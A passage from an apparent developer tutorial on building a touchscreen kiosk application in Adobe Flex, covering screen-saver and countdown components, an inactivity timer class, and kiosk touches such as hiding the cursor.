multipurpose component that you can display at the end of the entire user entry process, when a user times out on a state, or if the user walks away, to give your application time to reset itself. You can display an advertisement, logo, or graphic. It provides time for the application to reset, letting animations complete, clearing data, maybe sending a few calls to the server to pass data about user interactions, or anything that's part of the clean-up or resetting phase in your application. Create ScreenSaver.mxml I'm going to make a very simple screen saver, with some minor effects to achieve the traditional screen saver effect (See Figure 3). In order to manipulate text with effects (grow, fade, and so on) I need to embed the font. I have included and embedded a royalty-free font in the downloadable sample code. To get started, I create a new component called ScreenSaver and base the component on an HBoxobject, settting both the heightand widthproperties to 100%. Next, I modify the component's horizontalAlignand verticalAlignto centerand middle, respectively. I add a labeland a few effects to run on Show. The resulting code looks like: <?xml version="1.0" encoding="utf-8"?> <mx:HBox <mx:Script> <![CDATA[ private var _applicationState:ApplicationState = ApplicationState.getInstance(); private function onShow():void { _applicationState.currentState = ApplicationState.SCREEN_SAVER; } ]]> </mx:Script> <mx:Sequence <mx:SetPropertyAction <mx:SetPropertyAction <mx:Fade <mx:Parallel <mx:Rotate <mx:Fade </mx:Parallel> </mx:Sequence> <mx:Sequence <mx:Parallel <mx:Rotate <mx:Fade </mx:Parallel> <mx:SetPropertyAction <mx:Fade </mx:Sequence> <mx:Label </mx:HBox> Figure 3. A very simple screen saver I added an event handler for the HBox showevent, which calls onShow()to set the current application state. I am also binding the showEffectand hideEffectto the fadeInand fadeOutsequence effects. In order for the effects to look right, I'm setting the text to animate its alphato zero, then its visibleproperty to true. Since this is in a sequenceeffect, it will ensure the alphais set to 0before showing the label, so that it doesn't flash on the screen before fading in. The rest of the code is straightforward. Modify Main.mxml to include ScreenSaver.mxml Now that I've created the screen saver, I'm going to add it at the very bottom of main.mxml. I'm doing this because Flex lays out UI components from the top down. By adding this new component to the bottom of the main.mxml file and setting its visibleproperty to true, I make it appear on top of everything else, allowing me to move UI components around and reset the application's UI under the cover of the ScreenSaver component. So, under the ViewStack, I'm going to add: <local:ScreenSaver When you run the application now, it should appear the same as before. I'll integrate the screen saver in the next section. With the visual components mostly complete, the last visual component I need is a countdown that will appear on the user input screen when the user waits too long to make a selection. The countdown screen will be shown whenever a user input screen is displayed and a user doesn't select an item within a specified timeframe (see Figure 4). You will be able to configure the times in the Time for timers section. Create Countdown.mxml Just like the screen saver, I am going to make a very basic countdown screen. The countdown numbers are going to come from the ApplicationTimerclass, which I'll be creating in the next section. For this visual component, I want the user to click on the screen (touch the screen) in order to return to the input screen. To get started, I create a new component called Countdown and base it on a VBoxobject. I set both the heightand widthproperties to 100%. Next, I modify the component's horizontalAlignand verticalAlignto centerand middle, respectively. I add two Labeltags and a custom event. The resulting code looks like: <?xml version="1.0" encoding="utf-8"?> <mx:VBox <mx:Metadata> [Event( <mx:Label </mx:VBox> Figure 4. The countdown screen On this screen I detect a clickevent on the VBoxand that will fire the formClick()method. This method dispatches two events, userClickedScreenand extendTimeout. The userClickedScreenevent notifies any listeners that the user is trying to keep their session alive. The extendTimeoutevent is a piece of the final component of this example and I will go into that in more detail in the next section. The last task that this method performs is to set the current application state to the previous application state. Since the countdown is simply an overlay for the UI and I did not want to try to integrate all the pieces together, I decided to allow this component to know the previous application state and handle what it is already familiar with. Modify Main.mxml to include Countdown.mxml Now that Countdown.mxml is finished, I need to integrate it into main.mxml. I do this in the same way I added ScreenSaver.mxml, by adding it near the bottom. I'm going to place it under the ViewStack, but above the ScreenSaver component. This will allow the Countdown to appear on top of the ViewStack, while still allowing the ScreenSaver to appear on top of everything. The code to add the Countdown component looks like: <local:Countdown I don't have a value for the countdownValueproperty yet, but I will get that once I create the ApplicationTimer class. With all the UI components mostly complete, I want to control how long each user should be allowed to view a screen before making a selection and when to display the screen saver. I'll need to integrate a new ApplicationTimer class to tell the application when to show the countdown and screen saver, and when to reset the views and "session" data. In order to manage that, I'm going to create a new class, but base it off a UIComponentso I can plug it onto my main.mxml as a component. You don't have to use a UIComponentfor this, but I like to so I can look just at the MXML and get a good idea of what it is doing without having to scroll up to read the <script>tags and find the addListenermethods. Both are acceptable practices. Create ApplicationTimer.as My new class is going to be listening to the ApplicationState singleton for the state change event EVENT_STATE_CHANGE. It will then decide what screen is showing and how long it should be visible before throwing an event to show/hide the screen saver or show/hide the countdown display. In this example, I have hardcoded the values, but these values will most likely be dynamic depending on your application and MVC design. The ApplicationTimer.as class looks like: package { import flash.events.Event; import flash.events.TimerEvent; import flash.utils.Timer; import mx.core.UIComponent; [Event(name="showScreenSaver")] [Event(name="hideScreenSaver")] [Event(name="showCountdown")] [Event(name="hideCountdown")] public class ApplicationTimer extends UIComponent { // events this class dispatches public static var EVENT_SHOW_SCREEN_SAVER:String = "showScreenSaver"; public static var EVENT_HIDE_SCREEN_SAVER:String = "hideScreenSaver"; public static var EVENT_SHOW_COUNTDOWN:String = "showCountdown"; public static var EVENT_HIDE_COUNTDOWN:String = "hideCountdown"; [Bindable("currentTimerCount")] public function get countdownNumber():Number { return _countdownNumber } public function set countdownNumber(val:Number):void { _countdownNumber = val; dispatchEvent(new Event("currentTimerCount")); } // internal values private var _applicationState:ApplicationState = ApplicationState.getInstance(); private var _stateTimer:Timer = new Timer(5000); // default the timer to 5 seconds private var _countdownTimer:Timer = new Timer(1000); // set to 1sec to update UI private var _countdownNumber:Number; public function userInteractionReceived():void { if ( _stateTimer ) { _stateTimer.stop(); _stateTimer.reset(); _stateTimer.start(); } } public function onStateChange(e:Event):void { _stateTimer.stop(); _stateTimer.reset(); switch ( _applicationState.currentState ){ case ApplicationState.WELCOME_SCREEN: _stateTimer.delay = 5000; // 5 second delay break; case ApplicationState.USER_INPUT: _stateTimer.delay = 5000; // 5 second delay break; case ApplicationState.SCREEN_SAVER: _stateTimer.delay = 2500; // 2.5 second delay break; } // don't restart the state timer if the current state is the countdown if ( _applicationState.currentState != ApplicationState.COUNTDOWN ){ _countdownTimer.stop(); _stateTimer.start(); } } private function onTimer(e:TimerEvent):void { _stateTimer.stop(); switch ( _applicationState.currentState ){ case ApplicationState.WELCOME_SCREEN: dispatchEvent(new Event(EVENT_SHOW_SCREEN_SAVER)); break; case ApplicationState.USER_INPUT: startCountdown(6); break; case ApplicationState.SCREEN_SAVER: dispatchEvent(new Event(EVENT_HIDE_SCREEN_SAVER)); break; } } private function startCountdown(val:Number):void { countdownNumber = val; dispatchEvent(new Event(EVENT_SHOW_COUNTDOWN)); _countdownTimer.reset(); _countdownTimer.repeatCount = countdownNumber; _countdownTimer.start(); } private function onCountdownTimer(e:TimerEvent):void { // if user "times out", hide the countdown, show screen saver if ( _countdownTimer.currentCount == _countdownTimer.repeatCount ){ _countdownTimer.stop(); dispatchEvent(new Event(EVENT_HIDE_COUNTDOWN)); dispatchEvent(new Event(EVENT_SHOW_SCREEN_SAVER)); } else // otherwise update the countdownNumber { countdownNumber = _countdownTimer.repeatCount - _countdownTimer.currentCount; } } // constructor public function ApplicationTimer(){ super(); _applicationState.addEventListener(ApplicationState.EVENT_STATE_CHANGE, onStateChange); _stateTimer.addEventListener(TimerEvent.TIMER, onTimer); _countdownTimer.addEventListener(TimerEvent.TIMER, onCountdownTimer); } } } Near the top of the class you will see four events: showScreenSaver, hideScreenSaver, showCountdown, hideCountdown. The various timer return calls dispatch these events, which can then control the UI. Static variables are used for the event names to make referencing them easier throughout the class. The variable countdownNumberhas a public getter and setter and dispatches a currentTimerCountevent whenever that value changes. The Countdown.mxml component uses this value to display how many seconds the user has left to touch the screen. Moving down a few lines, you will see I declare two timers, _stateTimerand _countdownTimer. The _stateTimervalue defaults to 5 seconds, but could default to any number. The _countdownTimervalue needs to stay at 1 second, since it will need to update the countdownNumberevery second for display purposes. Under the timer declarations, notice the public function userInteractionReceived(). I‘ll cover this in the Detecting user presence section. When the ApplicationTimer class initializes, it sets an event listener for the stateChangeevent from ApplicationStateclass and calls onStateChange().Once the method fires, it stops the _stateTimer, resets it and determines what the new currentStateis. Depending on the new state, it will update the _stateTimer.delayto how long that screen should be visible, and then if the currentStateis not the COUNTDOWNstate, it will ensure the _countdownTimeris stopped and then restart the _stateTimer. Once _stateTimerhits the limit, onTimer()is called and it determines what the current state is and if it should show the screen saver, hide the screen saver, or start a countdown process of some sort. In this example, if the currentStateis WELCOME_SCREEN, show the screen saver. If the currentStateis USER_INPUT, display a 6-second countdown, and if the currenStateis SCREEN_SAVER, hide the screen saver. Whenever the _countdownTimerthrows a TimerEvent, onCountdownTimer()is called. This method will compare what the currentCountof the timers is and see if it is equal to the repeatCountproperty. If they are equal, then it has reached the end of the countdown period; it stops the timer, dispatches an event to hide the countdown, and dispatches another event to show the screen saver, which will in turn, fire a stateChangeevent and start the timer for how long the screen saver should be displayed. If, however, the currentCountis less than the repeatCount, then it takes the difference in the values and updates the countdownNumbervariable, which, in turn, updates the displayed value on the countdown screen. The constructor for the class is at the very bottom of the class; this is where I add event listeners to the ApplicationStatesingleton and both the _stateTimerand _countdownTimerobjects. Integrate ApplicationTimer into Main.mxml It doesn't matter where you add ApplicationTimer in main.mxml, but I usually put it at the very bottom or very top. In this example, I'm going to place it all the way at the bottom. The events that ApplicationTimer creates to control the UI can get quite complicated, so I'm going to add two new methods to main.mxml to accommodate the new events, handleScreenSaverand handleCountdown. Both methods will handle both the show/hide events being thrown. The added component code will look like: <local:ApplicationTimer And the resulting methods will be:; } } The handleScreenSaver()method takes a generic Flex Eventand if the typeis EVENT_HIDE_SCREEN_SAVER, the method will set the visibleproperty of the screen saver to false, and set selectedChildof the ViewStackto welcomeScreen(the default screen). If the Flex Event typeis EVENT_SHOW_SCREEN_SAVER, the method will set the visibleproperty of the screen saver to falseand hide all the items in the ViewStack by switching to an empty canvas. This is the best place to fire off any changes or resets to the application that you need to do, including moving assets on the stage, clearing session variables, and so on. You can also set a listener for the SCREEN_SAVERapplication state in your various classes to achieve the same effect. The other method I add is handleCountdown(), which also takes a generic Flex Event. If the event type is EVENT_SHOW_COUNTDOWN, it will set the visibleproperty of the Countdown.mxml component to true. If the event type is EVENT_HIDE_COUNTDOWN, it will set the visibleproperty of the Countdown.mxml component to false. Now that I added the ApplicationTimer class, I can update my Countdown component to get the value for countdownValuefrom it. By binding applicationTimer.countdownNumberto the countdownValueproperty on the component, then the countdown component will know whenever the timer updates its countdownNumbervalue. The final piece to the application is adding functionality to determine when a user clicks a UI component or is active on a screen. In the ApplicationTimer class, I added a public method called userInteractionReceived()which will reset the state timer for the currentState. Whenever the application determines that a user is active on a screen, it will dispatch an event called extendTimeoutwith its bubbleproperty set to true. Here, I manually dispatch the extendTimeoutevent from the UserInputSelection.mxml component. For larger applications, I would recommend extending the Buttonclass (or any other UIComponent), and have all your applications' interaction objects extend that new object. Then you can dispatch the event in your new class; just make sure the event's bubblesproperty is set to trueso the main.mxml application can handle the event accordingly. To setup this functionality correctly, I need to edit main.mxml to add this change. In main.mxml I have already created a creationCompleteevent handler, so I'm going to add a new listener to handle the extendTimeoutevent: this.addEventListener("extendTimeout", userInteractionReceived); The new method, userInteractionReceived(),is relatively simple: private function userInteractionReceived(e:Event):void { applicationTimer.userInteractionReceived(); } My final main.mxml now looks like: <?xml version="1.0" encoding="utf-8"?> <mx:Application <mx:Style <mx:Script> <![CDATA[ [Bindable] private var _applicationState:ApplicationState = ApplicationState.getInstance(); private function onStartClicked():void { myViewStack.selectedChild = userInputScreen; } private function onItemSelected():void { // do nothing yet } private function onCreationComplete():void { // start off with welcome screen first myViewStack.selectedChild = welcomeScreen; this.addEventListener("extendTimeout", userInteractionReceived); } private function userInteractionReceived(e:Event):void { applicationTimer.userInteractionReceived(); }; } } ]]> </mx:Script> <!-- adding an empty canvas allows the 'show' property to fire on the children --> <mx:ViewStack <mx:Canvas <local:Welcome <local:UserInput </mx:ViewStack> <local:Countdown <local:ScreenSaver <local:ApplicationTimer </mx:Application> There are only a couple steps remaining to complete. Hide the mouse cursor and disable right-click At this point, most of the UI work is done for this application. To give that final touch of a kiosk, you need to hide the mouse cursor. Just call Mouse.hide()and there goes your mouse cursor. The application is ready for a touchscreen. I would recommend either waiting until the very end of testing to do this, or create a custom right-click menu to hide/show cursor. Hopefully you will have disabled the right-click in the drivers for the touchscreen; this allows you to hide a lot of functionality into your right-click menu, including logs, cursor control options, and other maintenance functions. Run the application You can run the application in AIR or even in a browser, such as Internet Explorer or Firefox. Both browsers offer a kiosk mode of some sort. The one in Internet Explorer is better documented. Remember, it's your hardware and software, so you get to decide how it should run. Where to go from here The sample application in this article should help you understand what creating a kiosk application entails. It's not that different from a regular application. The tricky parts are the timing of screens and effects, but with a good architecture, that shouldn't be a problem. I recommend using this article only as a general guide of creating a kiosk application. For a full-fledged kiosk, it doesn't make sense to jam everything together as in this example application. It will get very messy very quickly. You should find a good MVC architecture to use, such as Cairngorm, PureMVC, or Mate. You can then move the timer and state management functionality into the appropriate classes. I would also recommend the use of custom events, because you can pass more data via custom events and avoid having to use such strong references to other components. The final thing to think about is hardware integration, which I have not covered in this article. There are some creative ways of using hardware with a Flex application that I touched upon at the beginning of this article, such as using ExternalInterface, and there is forward progress in third-party support, such as Merapi (formerly Artemis). At this time, however, there is no official Flex/Flash support for hardware (aside from graphics hardware acceleration). Sometimes, building a kiosk using Flex requires thinking outside of the box. It's definitely possible and not as hard as you might think.
https://www.adobe.com/devnet/flex/articles/flex_kiosk.html
CC-MAIN-2019-26
refinedweb
5,733
54.52
Perceptron Algorithm using Python In this tutorial, we will learn how to implement Perceptron algorithm using Python. Perceptron. Algorithm of Perceptron_0<< Backward Propagation: Update the weights using the following equation: - Recall Phase: Compute the activation of the neuron j using the final weights using the following equations: Backpropagation¶ It is a method for calculating the errors when values of Activation function and Target values mismatch. By using Backpropagation we will automatically update weights. For example: - Consider output of Activation function is A(i) and Target Value is T(i) - Calculate error between A and T, that is, ‘A(i) – T(i)’ - Let Input vector corresndin to above A(i) is x(k). - Weighted Error W_error(k,i) = (A(i) – T(i)) * x(k) - New_weight = Old_weight + (eta) * W_error ‘eta’ is the Learning Rate. It helps in controlling the rate of change in Weights. Sometimes the system gets unstable if weights change very rapidly and it never sets down, in such scenarios we use Learning Rate (eta). Typically we take eta as (0.1 < eta < 0.4). Now whenever we get any kind of mismatch in the Activation and Target values, we do Backpropagation to update our weights. import numpy as np values=(]) print("Training input values without Bias\n", values) Training input values without Bias (]) test2 = [[-1]] * len(values) values = np.concatenate((test2, values), axis = 1) print("Training input values with bias in it\n",values) Training input values with bias in it [[-1. 2.7810836 2.550537 ] [-1. 1.46548937 2.36212508] [-1. 3.39656169 4.40029353] [-1. 1.38807019 1.85022032] [-1. 3.06407232 3.00530597] [-1. 7.62753121 2.75926224] [-1. 5.33244125 2.08862677] [-1. 6.92259672 1.77106367] [-1. 8.67541865 -0.24206865] [-1. 7.67375647 3.50856301]] m=3 #number of elements in each row of inputs n=1 weights = np.random.rand(m,n)*0.1 - 0.5 print("Initial random weights\n",weights) Initial random weights [[-0.45303395] [-0.46630376] [-0.47939269]] final = ([[0],[0],[0],[0],[0],[1],[1],[1],[1],[1]]) print("Training data target values are\n", final) Training data target values are [[0], [0], [0], [0], [0], [1], [1], [1], [1], [1]] Method for updating Weights¶ If the value of Activation function is not equal to Target value, then we will use this method to update weights. We have introduced a new variable too, that is, Learning Rate (eta). It helps in controlling the rate of change in Weights. Sometimes the system gets unstable if weights change very rapidly and it never sets down, in such scenarios we use Learning Rate (eta). Typically we take eta as (0.1 < eta < 0.4). In our case we are taking it ‘0.25’ def updateWeights(weights, inputs, activation, targets): eta = 0.25 weights += eta*np.dot(np.transpose(inputs), targets - activation) return weights def prediction (inputs, weights, targets): #representing Activation function with 'ack [[]]' variable ack = [[0]] * len(inputs) for i in range(0, len(inputs)): for j in range(0,len(weights)): ack[i] += inputs[i][j] * weights[j] ack[i] = np.where(ack[i]>0, 1, 0) #checking values with target if(targets[i] != ack[i]): weights = updateWeights(weights, inputs, ack[i], targets) print(ack[i]) return weights iterations = 4 for temp in range(0, iterations): print("\nIteration ",temp+1,"\n") weights = prediction(values, weights, final) print("\nTrained Weights\n", weights) Iteration 1 [0] [0] [0] [0] [0] [0] [1] [1] [1] [1] Iteration 2 [1] [1] [0] [0] [0] [1] [1] [1] [1] [1] Iteration 3 [0] [0] [0] [0] [0] [1] [1] [1] [1] [1] Iteration 4 [0] [0] [0] [0] [0] [1] [1] [1] [1] [1] Trained Weights [[ 0.79696605] [ 2.54399373] [-5.09227188]] def perceptronPredict(weights, newInput): activation = np.dot(newInput, weights) activation = np.where(activation>0, 1, 0) print(activation) newInput = ([-1.0, 1.786745, 2.94569], [-1.0, 7.023323, 1.9999]) perceptronPredict(weights, newInput) [[0] [1]] Hence we got the results corresponding to each Input vector that we have supplied in the form of ‘newInput’ matrix. Above post gave us an insight that how a basic Neural Network works and how it does the learning. In our next post we will learn a Multi-layer Neural Network!! So stay tuned and keep learning!!! 3 thoughts on “Perceptron Algorithm using Python” Reblogged this on Qamar-ud-Din.
https://mlforanalytics.com/2018/04/29/implementation-of-perceptron-algorithm-using-python/
CC-MAIN-2021-21
refinedweb
723
53.61
Yesterday Jason Coombs, Barry Warsaw, and I met for about 6 hours of sprinting on PEP 420. We added a test framework and added tests for namespace packages using the filesystem loader and zipimport loader. We flushed out a bug in zipimport's namespace finder support as part of this. We identified the following issues which need to get resolved before the PEP is ruled on: 1. What about __file__? Barry is currently discussing this in the other thread. 2: Parent path modification detection. I'm still thinking this one over. I'm going to look into whipping up a sample implementation. I think these can all be resolved this weekend, so we'll ask that a ruling be made on the PEP next week. Please let me know if you have other PEP (not implementation) concerns. There are also these quality of implementation issues that I don't think need to get addressed before PEP 420 is ruled on: 1. Documentation. 2. More tests. We need to test namespace packages as sub-packages, not just top level.. All of the code is checked in to features/pep-420. Eric.
https://mail.python.org/pipermail/import-sig/2012-May/000518.html
CC-MAIN-2016-40
refinedweb
190
75.2
HCLSIG/LODD/Meetings/2010-07-07 Conference Call Conference Details - Date of Call: Wednesday July - Mapping experimental data - All - Feedback on Wiki site - Learning from the BioOntologies Paper - Seed grants - Susie - Data updates - Egon, Matthias, Anja, Oktie - AOB Minutes Attendees: Bosse, Rich, Matthias, Oktie, Claus, Elgar, Susie <Susie> <rboyce> agenda item 1: feed back on the wiki site <rboyce> 10 questions -- are these good questions? Should there be other questions? <rboyce> Discussion about the definition of experimental data...does it include EHR data? <rboyce> EHR record could be an experimental dataset <rboyce> aka "instance data" <rboyce> main focus -- how do we best model what is often very complex data produced from experiments in RDF? <rboyce> are these good questions to have answered in a "best practice <rboyce> " document" <rboyce> bbalsa: questions: once data is published -- how can the original data be augmented with additional insights? <rboyce> bbalsa: this question would be helpful for scientists publishing their data in RDF <rboyce> <rboyce> question: it seems that experience with best practices for representing health data in the entity-attribute-value (EAV) model would be applicable to representing experimental data in RDF. Has anyone looked into this? <Susie> <rboyce> example paper on best practices for EAV modeling: <rboyce> some of the questions would be much harder to address than others <rboyce> for example, determining URI namespaces might be less involved than some others <rboyce> question: questions regarding tools -- e.g. how to get the tool to work with linked data and usable interfaces <rboyce> Susie -- tools questions might not be appropriate for a 'best practices' paper <rboyce> mapping should be independent of implementation <rboyce> oktie -- as data sources grow; d2r mapping might not scale to allow efficient query responses <rboyce> oktie -- how important is scalability? <rboyce> Susie -- scalability is good to consider when making recommendations <rboyce> Is this a general "best practice" document? <rboyce> Susie -- the document should be applicable to any disease and patient population <rboyce> The first questions would be very helpful to researchers new to using RDF; would save people time and confusion. <rboyce> how well does using ADNI as a focus area generalize ? <rboyce> Susie -- it is a realistic data set that might be a very good starting point <rboyce> There might be other useful data sources that are not in a relational databases -- what about those? <rboyce> Susie -- it is possible to convert (e.g. XML to triple store) but relational to RDF would be a good place to start. <rboyce> clausstie: introduction -- experienced in medicinal chemistry, IT, knowledge management <rboyce> Are we restricting this to experimental data? <rboyce> Susie -- would like to start with an experimental data set because it is more complicated <rboyce> Susie -- other types of datasets of interest? <rboyce> How do we assign ids? Do we create our own and map other objects to the new ones? <rboyce> Mapping might be too general of a term -- changes from application from application <rboyce> we should be precise by what we mean by "mapping" <rboyce> implementation should be last decision -- are we restricting this to RDF? <rboyce> Should we focus on mapping concepts etc first then implementation <rboyce> Susie -- what questions would we want to ask of the data set --- this might influence the way we model the data <rboyce> Susie -- the representation choice might be predetermined (as RDF) given the purpose of this SIG <rboyce> Which entities should be classes and which ones should be instances? <rboyce> Susie -- we should probably be thinking of some other data sources to include so that we could demonstrate federated queries <rboyce> and aggregation <rboyce> Susie -- will take the bioontologies paper () and extract findings that help address some of the questions <rboyce> Susie -- please document the steps one would take to map ADNI to RDF <rboyce> Susie -- please be thinking about ADNI and potential complementary data sources (e.g. drug bank, clinicaltrials.gov) <rboyce> Susie -- will create a wiki page with new/updated questions <rboyce> ---------------- <rboyce> Seed grants... <Susie> <rboyce> -------------- <rboyce> Data updates <rboyce> Anja mentioned (by email to Richard) that Drug Bank RDF mapping will be edited to address issues: <>
http://www.w3.org/wiki/HCLSIG/LODD/Meetings/2010-07-07_Conference_Call
CC-MAIN-2016-18
refinedweb
682
53.85
...one of the most highly regarded and expertly designed C++ library projects in the world. — Herb Sutter and Andrei Alexandrescu, C++ Coding Standards Pool allocation is a memory allocation scheme that is very fast, but limited in its usage. For more information on pool allocation (also called "simple segregated storage"), see the concepts document.. See the pool interfaces document, which covers the different Pool interfaces supplied by this library. Forward declarations of all the exposed symbols for this library are in the header <boost/pool/poolfwd.hpp>. The library may use macros, which will be prefixed with BOOST_POOL_. The exception to this rule are the include file guards, which (for file xxx.hpp) is BOOST_xxx_HPP. All exposed symbols defined by the library will be in namespace boost. All symbols used only by the implementation will be in namespace boost::details::pool. Every header used only by the implementation is in the subdirectory detail/. Any header in the library may include any other header in the library or any system-supplied header at its discretion.! Revised 05 December, 2006 Copyright © 2000, 2001 Stephen Cleary (scleary AT jerviswebb DOT com) Distributed under the Boost Software License, Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at)
http://www.boost.org/doc/libs/1_45_0/libs/pool/doc/index.html
CC-MAIN-2014-23
refinedweb
205
58.18
The time library in Python is used to obtain time in the real world and perform various tasks related to it. You can even manipulate execution time using this module. The time module comes packaged with Python. This means you do not have to install it separately using the PIP package manager. In order to use its various functions and methods, you must first import it. import time In order to print the current local time, we will be using the ctime() function. But firstly, we must obtain the number of seconds since epoch. That is, the number of seconds since January 1st of 1970, 00:00:00. import time seconds = time.time() local_time = time.ctime(seconds) print("Local time:", local_time) Local time: Sun Jan 31 23:50:16 2021 In the above program, we first obtain the time since epoch and then provide that as an argument to the ctime function which returns the current local time. Sometimes you might want to slow down or delay the execution of the Python script. For example, you might want to print the numbers slowly while iterating through a for loop. You can do this using the sleep function in the time module. import time for i in range (1,6): print(i) time.sleep(1) The above program prints from 1 to 5 and waits 1 second before printing the next number. This way, you can avoid printing the entire content at once on the output screen. While working on the time module you will notice that you come across the sturct_time object a lot. In order to create your own object, follow the syntax below − time.struct_time(tm_year=2021, tm_mon=1, tm_mday=31, tm_hour=9, tm_min=28, tm_sec=56, tm_wday=6, tm_yday=31, tm_isdst=0) Now that you know what the struct_time object is, let us start working on printing the local time. import time seconds = time.time() curr_time = time.localtime(seconds) print(curr_time) print(“Current year −> “, curr_time.tm_year) In the above example, we obtained the object and accessed its various arguments. You can access all the different arguments following the syntax of struct_time mentioned above to get a better idea of how things work. Sometimes you might want to convert time in strings into a struct_time object. import time example = “17 July 2001” ans = time.strptime(example, “%d %B %Y”) print(ans) time.struct_time(tm_year=2001, tm_mon=7, tm_mday=17, tm_hour=0, tm_min=0, tm_sec=0, tm_wday=1, tm_yday=198, tm_isdst=−1) You now understand the different uses and functionalities of the time module present in Python. You’ve learnt about the struct_time object and how to use and manipulate it. And also to convert string data into struct_time object. For more information on the time module and about its various other features, read through its official documentation at −.
https://www.tutorialspoint.com/how-to-access-and-convert-time-using-the-time-library-in-python
CC-MAIN-2021-49
refinedweb
470
66.44
This walkthrough provides a fundamental end-to-end LINQ to SQL scenario for adding, modifying, and deleting data in a database. You will use a copy of the sample Northwind database to add a customer, change the name of a customer, and delete an order. Your computer might show different names or locations for some of the Visual Studio user interface elements in the following instructions. The Visual Studio edition that you have and the settings that you use determine these elements. For more information, see Visual Studio Settings. Code Generation Tool (SqlMetal.exe). This walkthrough consists of six main tasks: Creating the LINQ to SQL solution in Visual Studio. Adding the database code file to the project. Creating a new customer object. Modifying the contact name of a customer. Deleting an order. Submitting these changes to the Northwind database. In this first task, you create a Visual Studio solution that contains the necessary references to build and run a LINQ to SQL project.: In Solution Explorer, right-click References, and then click Add Reference. In the Add Reference dialog box, click .NET, click the System.Data.Linq assembly, and then click OK. The assembly is added to the project. Add the following directives at the top of Program.cs: using System.Data.Linq; using System.Data.Linq.Mapping; These steps assume that you have used the SQLMetal tool to generate a code file from the Northwind sample database. For more information, see the Prerequisites section earlier in this walkthrough.. Type or paste the following code into the Main method in the Program class: // Use the following connection string. Northwnd db = new Northwnd(@"c:\linqtest6\northwnd.mdf"); // Keep the console window open after activity stops. Console.Read. Add the following code above Console.ReadLine();: // Query for specific customer. // First() returns one object rather than a collection. var existingCust = (from c in db.Customers where c.CustomerID == "ALFKI" select c) .First(); // Change the contact name of the customer. existingCust.ContactName = "New Contact"; Using the same customer object, you can delete the first order. The following code demonstrates how to sever relationships between rows, and how to delete a row from the database. Add the following code before Console.ReadLine to see how objects can be deleted:. Insert the following code just above Console.ReadLine: db.SubmitChanges(); Insert the following code (after SubmitChanges) to show the before and after effects of submitting the changes: Console.WriteLine("\nCustomers matching CA after update"); foreach (var c in db.Customers.Where(cust => cust.CustomerID.Contains("CA"))) { Console.WriteLine("{0}, {1}, {2}", c.CustomerID, c.CompanyName, c.Orders.Count); } Press Enter in the Console window to close the application. After you have added the new customer by submitting the changes, you cannot execute this solution again as is. To execute the solution again, change the name of the customer and customer ID to be added. Nowadays, big data based projects have to be accessible for multiple clients. Those clients are very prone to have much different needs on that data. So if the decision of having all the business logic required by all the clients inside the DB in stored procedures is taken, the result will be hundreds of SPs, very difficult to manage, and to create when the bussines logic comprise some complexity. In this case, just looking the "no-compilation required" advantage offered by the stored procedures is not enough. The current software industry requires connectivity in first place. Re-use and extension of basic functionality. Stored Procedures still being a good choice though, but let them for that basic functionality you need to provide. And for clients, now there is nothing better than LinQ to SQL. Just imagine a stored procedure giving you some data you'll need to make complex calculations with, using all the power and ease offered by the .NET Framework and that you can play with all of these just using C# (goodbye to text commands!!!), everything strong typed and "intellisensed". So I think saying "LinQ to SQL may not have much practical use", is product of a very narrow point of view. You need to have the big picture with all the new software projects style before making such asseveration.
http://msdn.microsoft.com/en-us/library/bb386927.aspx
crawl-002
refinedweb
702
59.7
Hans was still thinking about the Wolf as he headed into town to get supplies. It was a nice day so he decided to wander down the side of the stream. As he passed the mill he looked up at the water wheel. The stream had been diverted into a wooden channel to power the wheel and then following the mill pond it rejoined the main flow. "If I use a VPN client on the Yun then I could control my own channel to the weather service", he thought. When Hans reached the market he posted a letter to the weather service explaining his idea, bought the provisions and headed home. Special Delivery A few days later there was a knock on the door. "Hello", said the uniformed man. "You're not our usual postman" said Hans. "No", said the man, "he's off sick so I've come from the next town to stand in", and he handed Hans a letter. The letter was sealed with a red wax seal with a big Y!. Inside was a paper with an official header on it that he instantly recognised. It was a letter from the weather service and it was not the news that Hans wanted to hear. Yes they could provide a VPN but it would need extra equipment installed in their office so would cost Hans 1000 gold coins per month. Hans and Matilda could not afford that but there must be another way. Hans thought about the sealed envelope and the company identifier and wondered if the Yun could be configured for HTTPS connections. Simply adding the "s" to the end of the URL returned nothing so he added an extra parameter to try to capture the error stream back to the Arduino. #include <Process.h>("(select%20woeid%20from%20geo.places(1)%20where%20text%3D%22Chicago%20IL%22)&format=json&env=store%3A%2F%2Fdatatables.org%2Falltableswithkeys"); // Add the URL parameter to "curl" p.addParameter("&2>1"); // should pipe error output to stdout but does not p.run(); // Run the process and wait for its termination while (p.available()>0) { char c = p.read(); Serial.print(c); } // Ensure the last bit of data is sent. Serial.flush(); } That did not work so Han's tried a different approach using runShellCommand because the "&2>1" may need to be interpreted by the shell. #include <Process.h> void setup() { // Initialize Bridge delay(2500); Bridge.begin(); // Initialize Serial Serial.begin(9600); // Wait until a Serial Monitor is connected. while (!Serial); Serial.println("Running Curl"); // run various example processes runCurl(); Serial.println("Done"); } void loop() { // Do nothing here. } void runCurl() { Process p; // Create a process and call it "p" p.runShellCommand("curl \"(select%20woeid%20from%20geo.places(1)%20where%20text%3D%22Chicago%20IL%22)&format=json&env=store%3A%2F%2Fdatatables.org%2Falltableswithkeys\" 2>&1"); while (p.available()>0) { char c = p.read(); Serial.print(c); } // Ensure the last bit of data is sent. Serial.flush(); } This displayed the following error message: Running Curl % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 curl: . Done Hans installed the certificates into /etc/ssl/certs using the package manager. opkg update opkg install ca-certificates However the problem persisted. After several hours of reading and googling the solution was found on the OpenWRT forum. "The ca-certificates package is missing the HASH-links to the certificates" These can be added using openssl-util and a shell script provided in that article #! /bin/sh OPENSSL=/usr/bin/openssl CERTDIR=/etc/ssl/certs # Install openssl-util if need [ ! -f ${OPENSSL} ] && opkg update && opkg install openssl-util for CERTFILE in ${CERTDIR}/*; do # create symbolic link from hash echo -en "Certificate ${CERTFILE##*/}\n generating hash: " HASH=$(${OPENSSL} x509 -hash -noout -in ${CERTFILE}) echo "$HASH" # handle hash collision SUFFIX=0 while [ -h "${CERTDIR}/${HASH}.${SUFFIX}" ]; do let "SUFFIX += 1" done echo " linking ${HASH}.${SUFFIX} -> 